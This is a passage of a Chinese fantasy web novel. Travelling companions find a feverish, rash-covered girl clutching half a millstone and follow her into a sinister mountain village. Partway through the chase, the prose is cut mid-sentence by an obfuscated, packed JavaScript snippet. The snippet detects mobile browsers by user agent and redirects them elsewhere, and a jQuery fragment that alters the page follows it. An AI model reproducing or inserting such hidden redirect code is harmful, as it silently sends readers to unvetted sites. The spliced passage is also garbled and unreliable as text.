没有追杀,没有阴谋,没有血与泪的悲剧。只是四个伤痕累累的人,在一片无名山林里,生火,做饭,斗嘴,练剑。 芒种抱着桃木剑,笨拙地练习九如教她的基础招式,小脸上满是认真。烈风煌坐在火堆旁,用磨刀石打磨修罗刀的刃口,眼神专注得像在雕琢艺术品。白砚靠在不远处的树下,闭目调息,魂咒的疼痛让他眉头微蹙,却始终没有出声。 而九如,在给烈风煌削那把“更长、更重、能砍人”的桃木剑。 夕阳西下时,剑成了。 烈风煌接过,掂了掂分量,随手一挥—— 剑风呼啸,斩落几片枯叶。 她满意地点头:“还行。” 白砚睁开眼,看了一眼,又闭上,从鼻子里哼出一声:“幼稚。” 烈风煌挑眉:“想再打一架?” “来啊。” 眼看又要动手—— “吃饭了。”芒种小心翼翼端着一锅刚煮好的野菜汤,小声说。 四人围坐火堆旁,捧着热汤,看着天边最后一抹晚霞被夜色吞没。 远处传来夜枭的啼叫。 近处,火星噼啪。 没有人说话。 但有些东西,在这一天的炊烟与笑闹里,悄然改变了。 就像被岁月打磨过的钝刀,虽然依旧锈迹斑斑,却终于找到了能彼此磕碰、却不至于断裂的力道。 夜渐深。 九如添了柴,看着跳跃的火光,轻声说:“明天……就能到无名火山了。” 众人沉默。 前路未知,生死未卜。 但至少今夜,有火,有同伴,有一柄削得不太好看的桃木剑。 还有一碗,虽然清淡,却能暖胃的野菜汤。 足够了。 31.石磨非磨蹉跎过(一) 离开那片炊烟袅袅的山林后,路就变了。 不再是坦途,也不是寻常的山道,而是一条深切入山体的、狭窄得仅容一人通行的山涧。两侧是陡峭的、近乎垂直的崖壁,岩石呈铁灰色,表面布满风蚀的孔洞,像无数只沉默的眼睛,从上往下,冷漠地注视着穿行其间的不速之客。 涧水在脚下流淌。 起初是清澈的,能看见水底光滑的卵石和偶尔游过的、透明得几乎看不见的小鱼。但随着深入,水色渐渐变了。 不是浑浊,是泛红。 一种极淡的、若有若无的红色,像一滴血滴进清水中,缓缓晕开。阳光从一线天的缝隙里漏下来,照在水面上,那红色就变成了诡异的、类似铁锈的暗红,又像……稀释过的、陈旧的血。 空气中弥漫着一股淡淡的、甜腻的腥气。 不是鱼腥,也不是水草腐烂的味道,而是一种更接近活物伤口化脓、混合着某种草药气息的、令人胸口发闷的气味。 “这水……”芒种走在中间,小声说,“颜色好奇怪。” 九如走在最前,闻言停下脚步,蹲下身,掬起一捧涧水。水在他掌心依旧泛着淡淡的红,凑近闻,那股甜腥气更浓了。他将水洒回涧中,眉头微蹙:“像是被什么东西……污染了。” 白砚走在最后,离涧水远远的,脸色比平时更苍白。他不仅是因为洁癖——那魂咒对污秽之物的感应,远比常人敏锐。此刻他左臂衣袖下,紫色的咒文正在隐隐发烫,像被什么脏东西刺激了,一阵阵抽痛。 “不是污染。”他声音有些发紧,盯着泛红的涧水,“是……‘浸染’。有大量生灵的血或精气,常年汇入水中,才会让整条涧水都变色。” 大量生灵。 九如心头一沉。 他想起月弯村那条被尸骸污染的河,想起风息圆下那口埋葬了无数活祭的深潭。这世间,总有些地方,因人的愚昧或贪婪,变成滋生罪孽的温床。 “加快速度,”九如站起身,“天黑前穿过这条山涧。” 三人加快脚步。 涧道蜿蜒曲折,时宽时窄。有些地段需要涉水而过,水深及膝,冰凉刺骨。那红色的水浸湿裤脚,留下淡红色的水渍,像洗不掉的印记。 走了约莫一个时辰,前方豁然开朗。 山涧在此处拐了个弯,形成一片小小的、被三面崖壁环抱的浅滩。滩上铺着细碎的白色砂石,在阳光下泛着星星点点的光。岸边生长着一些低矮的灌木,还有几丛颜色鲜艳的蘑菇——伞盖是妖艳的紫红色,菌柄雪白,像一双双从泥土里伸出来的、涂了蔻丹的手。 芒种眼睛一亮。 这几日啃干粮啃得嘴里发苦,看见新鲜蘑菇,她下意识舔了舔嘴唇。见九如和白砚都在观察地形,她小声说:“九如哥哥……我、我去采点蘑菇,晚上煮汤?” 九如本想拒绝——这地方太诡异,任何看似寻常的东西都可能藏着危险。但看着芒种期待的眼神,他又不忍心。这一路颠沛流离,小姑娘跟着他们风餐露宿,从没抱怨过。偶尔让她做些寻常事,或许能让她暂时忘记那些血腥和恐惧。 “去吧,”他最终点头,“别走远,别碰颜色太艳的。” 芒种高兴地“嗯”了一声,小跑着冲向那片蘑菇丛。 九如和白砚留在原地。白砚找了块相对干燥的石头坐下,闭目调息,试图压制魂咒的躁动。九如则走到涧水边,仔细观察水色和流速——那股甜腥味在这里更浓了,几乎让人作呕。 忽然,远处传来芒种的惊叫。 不是恐惧的尖叫,而是……惊讶的、带着疑惑的呼声。 “九如哥哥——!白砚哥哥——!你们快来——!” 九如心头一紧,纵身跃过几块岩石,冲向芒种所在的方向。白砚也睁开眼,跟了上去。 芒种蹲在蘑菇丛边缘,面前不是蘑菇,而是一个……坑。 不深,也就半尺来深,像是被什么动物刨出来的。坑底不是泥土,而是一层厚厚的、暗红色的、类似苔藓的绒状物。此刻,那层绒状物被扒开了一角,露出下面—— 一个人。 确切地说,是个少女。 她蜷缩在坑底,身体大半被那种暗红色的绒状物覆盖,只露出一张脸和一只手臂。脸很脏,沾满了泥土和干涸的、暗褐色的污渍,看不清容貌,但能看出年纪不大,最多十五六岁。眼睛紧闭,嘴唇干裂出血,呼吸微弱得几乎察觉不到。 最触目惊心的,是她裸露的手臂和脖颈。 密密麻麻的,全是红疹。 不是普通的痱子或过敏,而是一种深红色的、边缘凸起、中心有细小水泡的疹子,一颗挨着一颗,一片连着一片,覆盖了所有裸露的皮肤。有些疹子已经破了,流出浑浊的黄色脓液,混着血丝,凝结在皮肤上,像某种恶性的疮。 而她怀里,紧紧抱着一块东西。 是石磨。 不是完整的石磨,只是上扇的一小半,约莫脸盆大小,边缘残缺,表面被摩挲得光滑如镜。石磨很旧了,石质呈青灰色,上面刻着模糊的纹路——像是某种符文,又像是随意凿出的划痕。 她就那样抱着石磨,蜷在坑底,像抱着最后的救命稻草,或者……赎罪的刑具。 芒种吓得脸色发白,但还是蹲在坑边,小声唤道:“姐姐……姐姐你醒醒……” 少女没有反应。 九如蹲下身,伸手探了探她的鼻息——还有气,但极其微弱。他又看了看那些红疹,眉头紧锁。这疹子不寻常,颜色太深,分布太密集,更像是……某种诅咒,或者疫病。 “她还活着。”九如低声道,“但状况很差。” 白砚站在三步外,没有靠近。他盯着少女身上的红疹,又看了看坑底那些暗红色的绒状物,眼神里闪过一丝罕见的凝重:“别碰她。” “为什么?”芒种回头。 “那些红疹……”白砚顿了顿,“会传染。” 九如手一僵。 传染? 他再看那些疹子,果然发现,少女身下那些暗红色的绒状物,颜色和质地都与她身上的红疹极为相似。就像……是她身上脱落的皮屑,或者疹子破裂后流出的脓液,沾染了泥土,长成了这种诡异的苔藓。 这整片蘑菇丛,都生长在这种“苔藓”上。 那些妖艳的紫红色蘑菇,根须深深扎进苔藓里,伞盖在微风中轻轻摇晃,像在吮吸养分。 “退后。”九如拉过芒种,自己却反而更仔细地观察少女。她身上除了破烂的、看不出原本颜色的粗布衣裙,没有其他东西。脚上没穿鞋,脚底满是血泡和老茧,像是走了很远的路。指甲缝里塞满了黑泥,手指因为长时间紧抱石磨,指节扭曲变形。 她是从哪里来的? 为什么会一个人晕倒在这深山野岭的坑里? 还抱着半块石磨? “得带她走。”九如最终说,“不能把她留在这里。” 白砚皱眉:“你确定?她身上的东西……” “我知道危险。”九如打断他,“但把她留在这里,只有死路一条。” 他脱下外袍——那件粗布袍子已经洗得发白,但还算干净。他将袍子铺在地上,然后小心翼翼地将少女从坑里抱出来,放在袍子上,再用袍子边缘裹住她的身体,尽量避免直接接触那些红疹。 少女很轻,轻得像一片羽毛。抱起来的瞬间,九如感觉到她身体滚烫——她在发高烧。 芒种想帮忙,被九如制止:“别碰,离远点。” 他自己则用袍子裹着手,托起少女,将她背在背上。石磨太重,他只能让她继续抱着——那石磨像是长在了她怀里,掰都掰不开。 “走吧,”九如说,“找个干净的地方,看看能不能救。” 三人原路返回浅滩。 白砚始终走在最前,与九如保持着至少五步的距离。他不是冷漠,是谨慎——魂咒让他对污秽极度敏感,此刻靠近那少女,他左臂就像被无数根针扎着,疼得他额角冒冷汗。 而烈风煌…… 九如这才想起,从进入山涧开始,烈风煌就一直没有跟上来。 他回头望去。 来时的涧道空荡荡的,只有泛红的涧水潺潺流淌,和两侧崖壁上那些沉默的、像眼睛般的孔洞。 烈风煌去了哪里? 回到浅滩,九如将少女放在一块平坦的岩石上。 阳光照在她脸上,终于能看清她的容貌——很清秀,甚至称得上美丽,只是被污渍和病痛折磨得憔悴不堪。眉毛细长,鼻梁挺直,嘴唇虽然干裂,但形状姣好。若不是那些可怕的红疹,该是个水灵灵的姑娘。 芒种从行囊里翻出水囊,小心翼翼地将清水滴在少女唇上。清水润湿了干裂的嘴唇,少女无意识地嚅动了一下,喉咙里发出细微的、像小猫般的呜咽。 “姐姐……”芒种眼圈红了,“你醒醒啊……” 九如检查了她的脉搏和体温——很糟糕。高烧,脉搏微弱而紊乱,身上的红疹在阳光下更加触目惊心,有些甚至开始溃烂流脓,散发出那股甜腻的腥气。 “得给她降温。”九如说,看向白砚,“有办法吗?” 白砚站在远处,盯着少女身上的红疹,许久,才缓缓开口:“我可以试试用冰咒暂时压制她的体温,但治标不治本。她这病……不寻常。” 他说着,双手结印。冰蓝色的宝石亮起,一股寒气弥漫开来,凝聚成薄薄的冰雾,缓缓笼罩住少女的身体。冰雾触及皮肤,那些红疹似乎微微收缩了一下,少女滚烫的体温也略微下降。 但很快,冰雾就被她身上的高热蒸发了。 白砚脸色更白——魂咒的疼痛加上施咒的消耗,让他有些支撑不住。他收回手,喘了口气:“不行……她体内的‘火’太旺了。” 就在这时,头顶忽然传来“簌簌”的声响。 众人抬头。 烈风煌不知何时出现在崖壁上一棵横生的枯树上。她依旧穿着那身深青色劲装,但比早上干净了许多,显然是找地方清洗过了。她坐在树杈上,一条腿垂下来,晃悠着,居高临下地看着下面。 “捡了个麻烦回来?”她声音懒洋洋的,听不出情绪。 九如仰头看她:“你去哪了?” “探路。”烈风煌简短回答,目光落在少女身上,眉头微挑,“哟,病得不轻。” 她说着,忽然从怀里掏出一样东西,随手扔了下来。 是一件粗布外衣——和九如身上那件差不多,洗得发白,但干净。衣服落在九如脚边。 “给她盖上。”烈风煌说,“挡挡太阳,也挡挡……眼。” 她指的是少女身上那些不堪入目的红疹。 九如捡起外衣,轻轻盖在少女身上。衣服宽大,将她从头到脚罩住,只露出一张苍白的脸。 芒种小声说:“谢谢风姐姐……” 烈风煌没应声,只是又往树顶挪了挪,离众人更远了。她抱着胳膊,靠在树干上,闭目养神,一副“别来烦我”的姿态。 九如知道她的性子——嘴上刻薄,行动却总在细微处留着一份旁人不易察觉的善意。就像在月弯村,她虽未直接出手,却始终在暗中策应;就像此刻,她丢下这件干净的外衣。 他收回目光,重新看向少女。 冰雾散去后,少女的体温又开始回升。她似乎在做噩梦,眉头紧锁,嘴唇嚅动,发出含糊的呓语。 九如凑近了些,想听清她在说什么。 “……不……不要……让我生……让我生……” 声音断续,带着哭腔。 让我生? 九如一愣。 这是什么意思? 就在这时,少女忽然睁开了眼睛。 不是缓缓睁开,是猛地、毫无征兆地睁大! 那双眼睛……是血红色的。 和月弯村那些村民一样,眼白部分布满细密的血丝,瞳孔深处燃烧着暗红色的火苗。但她的眼神不是疯狂,而是……极致的恐惧。 她看见了九如,看见了芒种,看见了远处的白砚和树上的烈风煌。 然后,她发出一声凄厉到极致的尖叫! “啊——!!!” 声音刺耳,在山涧里回荡。她猛地坐起,身上的外衣滑落,露出密密麻麻的红疹。她抱着石磨,像受惊的兔子般,连滚带爬地往后缩,直到背抵住崖壁,退无可退。 “别过来……别过来……!”她嘶声哭喊,眼泪混着脸上的污渍流下来,“我不要回去……我不要生……我不要……” 九如连忙后退几步,举起双手,示意自己没有恶意:“姑娘,别怕,我们不是坏人。你晕倒了,我们救了你。” 少女死死盯着他,眼神里的恐惧没有丝毫减少。她摇头,拼命摇头:“骗人……你们都是骗人的……都要抓我回去……都要我生……” 她说着,忽然低头,看了看怀里的石磨,又看了看自己身上的红疹,眼神变得绝望而疯狂。 “我脏了……我病了……我不配……不配……” 话音未落,她忽然将石磨狠狠砸向自己的额头! “住手——!”九如惊呼,扑上去想拦。 但晚了。 石磨砸在额头上,发出沉闷的“砰”声。少女闷哼一声,额角裂开一道口子,鲜血汩汩涌出。但她没死,只是晃了晃,又挣扎着爬起来,抱着石磨,转身就往山涧深处跑! “追!”九如想也没想,拔腿就追。 芒种和白砚也跟了上去。 烈风煌在树上睁开眼,看着下面混乱的场面,啧了一声,从树上一跃而下,也慢悠悠地跟了过去。 少女跑得极快。 不,不是快,是……不顾一切。 她赤脚踩过尖锐的碎石,踩过泛红的涧水,踩过湿滑的苔藓,完全感觉不到疼痛。鲜血从额头的伤口流下来,混着汗水,糊了满脸。但她只是死死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113453|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱着石磨,拼命往前跑,像后面有恶鬼在追。 九如紧追不舍。 他不敢用全力——怕刺激到她,也怕她体力不支摔倒。但少女的速度超出了他的预料,她似乎对这条山涧极为熟悉,左拐右绕,专挑最难走的路,很快就把距离拉开了。 “姑娘!停下!前面危险——!”九如高喊。 少女充耳不闻。 她冲进一片茂密的荆棘丛——那些荆棘长着寸许长的尖刺,密密麻麻,连野兽都不敢轻易穿过。但她毫不犹豫地钻了进去,任由尖刺划破皮肤,扯烂衣裙,在身上添上一道道血痕。 九如一咬牙,也跟了进去。 荆棘刺破衣袍,扎进皮肉,火辣辣地疼。但他顾不上,眼睛死死盯着前面那个跌跌撞撞的身影。 穿过荆棘丛,眼前豁然开朗。 是一个……山谷。 不大,但很隐蔽。四面环山,只有一条狭窄的入口——就是他们刚才穿过的那片荆棘丛。谷底平坦,中央有一条清澈的小溪流过,溪水居然没有泛红,是正常的、透明的清冽。 而溪流两岸,依山建着几十间石屋。 屋子很简陋,都是用就地取材的青灰色岩石垒砌而成,屋顶铺着茅草或树皮。有些屋子已经半塌,墙上爬满藤蔓,显然久无人居。但有些屋子门口挂着晾晒的衣物,烟囱里还冒着淡淡的炊烟,说明有人居住。 这是一个……村子。 少女冲进村子,像一滴水汇入大海,瞬间消失在一排石屋后面。 九如追到村口,停下脚步。 不是不想追,而是……被眼前的景象震住了。 村口立着两尊巨大的石像。 不是寻常的守门石狮或瑞兽,而是……人像。 一男一女。 男子高大魁梧,穿着粗糙的石刻衣袍,面容方正,表情肃穆。女子身形稍矮,同样穿着石刻衣裙,面容温婉,眉眼低垂。两尊石像都微微躬身,双手向前平举,掌心向上,共同托着—— 一个婴孩。 也是石头雕刻的婴孩,约莫三四个月大,蜷缩在石像掌心,闭着眼睛,像是在沉睡。 石像做工粗糙,但神韵抓得极准。男子眼中的期盼,女子眼中的温柔,还有婴孩那种毫无防备的、全然依赖的姿态,都被刻画得淋漓尽致。 但不知为何,这场景让人心里发毛。 就像……某种献祭,或者供奉。 而在石像脚下,坐着一个人。 是个老妪。 很老很老了,满头银丝稀疏得能看见头皮,脸上皱纹深得能夹死苍蝇。她穿着一身褪色严重的、看不出原本颜色的粗布衣裙,赤着脚,脚上满是老茧和裂口。怀里抱着一根磨得油亮的竹杖,杖头挂着一串已经风干的、黑乎乎的东西——像是某种植物的果实。 最诡异的是她的眼睛。 不是瞎了,但浑浊得厉害。眼白泛着不正常的灰白色,瞳孔是浑浊的黄色,像蒙了一层厚厚的翳。她直勾勾地望着前方——不是看九如,也不是看村子,而是望着虚无的某个点,眼神空洞得可怕。 嘴里,反复念叨着同一句话: “让她生……让她生……让她生……” 声音沙哑低沉,像破旧风箱的抽动,在寂静的村口回荡,配上那两尊诡异的石像,让人脊背发凉。 九如深吸一口气,走上前,躬身行礼:“老人家,打扰了。请问刚才有没有看见一个姑娘跑过去?她身上有红疹,抱着半块石磨……” 老妪没反应。 她依旧望着前方,嘴唇嚅动:“让她生……让她生……” 九如眉头微蹙,提高声音:“老人家?” 老妪这才缓缓转过头。 那双浑浊的眼睛“看”向九如——其实根本没有焦距,只是循声转了过来。她咧开嘴,露出稀疏发黄的牙齿,笑了。 笑容诡异,像哭。 “生了……就能活了……”她喃喃,“生了……村子就有后了……让她生……让她生……” 她一边说,一边用竹杖轻轻敲打着地面,发出“笃、笃、笃”的节奏声。 就像在催促,或者……咒诅。 九如心中那股不安越来越强烈。 他正要再问,身后传来脚步声。 白砚和芒种也穿过荆棘丛,跟了过来。两人看见村口的石像和老妪,都是一愣。 “九如哥哥……”芒种小声问,“找到那个姐姐了吗?” 九如摇头,转向白砚,压低声音:“这村子不对劲。” 白砚点头,目光扫过石像和老妪,又看向村子里那些沉默的石屋,眼神凝重:“那姑娘……怕是从这里逃出去的‘新妇’。” 新妇。 两个字,让九如心头一跳。 他想起少女身上的红疹,想起她反复念叨的“让我生”,想起她抱着石磨自残的疯狂,还有老妪那句魔咒般的“让她生”…… 难道…… 就在这时,村子里忽然传来喧哗声。 三个男人从石屋后走了出来。 都是三四十岁的年纪,穿着粗布短褂,皮肤黝黑,手上满是老茧,是典型的山民模样。但他们的眼神……很冷,很警惕,像护崽的野兽。 为首的是个国字脸的中年汉子,手里拎着一把锄头。他看见九如三人,脸色一沉,锄头往地上一顿,声音粗嘎: “外乡人?谁让你们进来的?” 他身后的两个男人也举起了手里的家伙——一个是柴刀,一个是削尖的木棍。 三人呈扇形围上来,眼神不善,将村口堵得严严实实。 气氛骤然紧绷。 老妪还在念叨:“让她生……让她生……” 国字脸汉子不耐烦地回头吼了一句:“闭嘴!疯婆子!” 老妪果然闭嘴了,低下头,抱着竹杖,继续敲打地面,不再出声。 国字脸汉子重新看向九如,锄头指着他:“说!来石中村干什么?!” 九如按住腰间的承影剑,面上却依旧平静:“我们路过,追一个走失的同伴。她跑到你们村里来了,可否行个方便,让我们寻她出来?” “走失的同伴?”国字脸汉子冷笑,“我们村子这几天根本没人进出!哪来的什么走失的同伴!我看你们是别有用心!” 他身后的柴刀男也嚷嚷起来:“大哥,跟他们废什么话!这些外乡人肯定没安好心!抓起来!” 木棍男更是直接上前一步,木棍直指九如胸口:“滚出去!不然别怪我们不客气!” 芒种吓得躲到九如身后。 白砚缓缓上前,与九如并肩而立。他虽未拔剑,但指尖已触到腰间的宝石,眼神冷了下来。 眼看冲突一触即发—— 村子的深处,忽然传来一声凄厉的、不似人声的尖叫。 是那个少女的声音。 她在喊: “救命——!!!”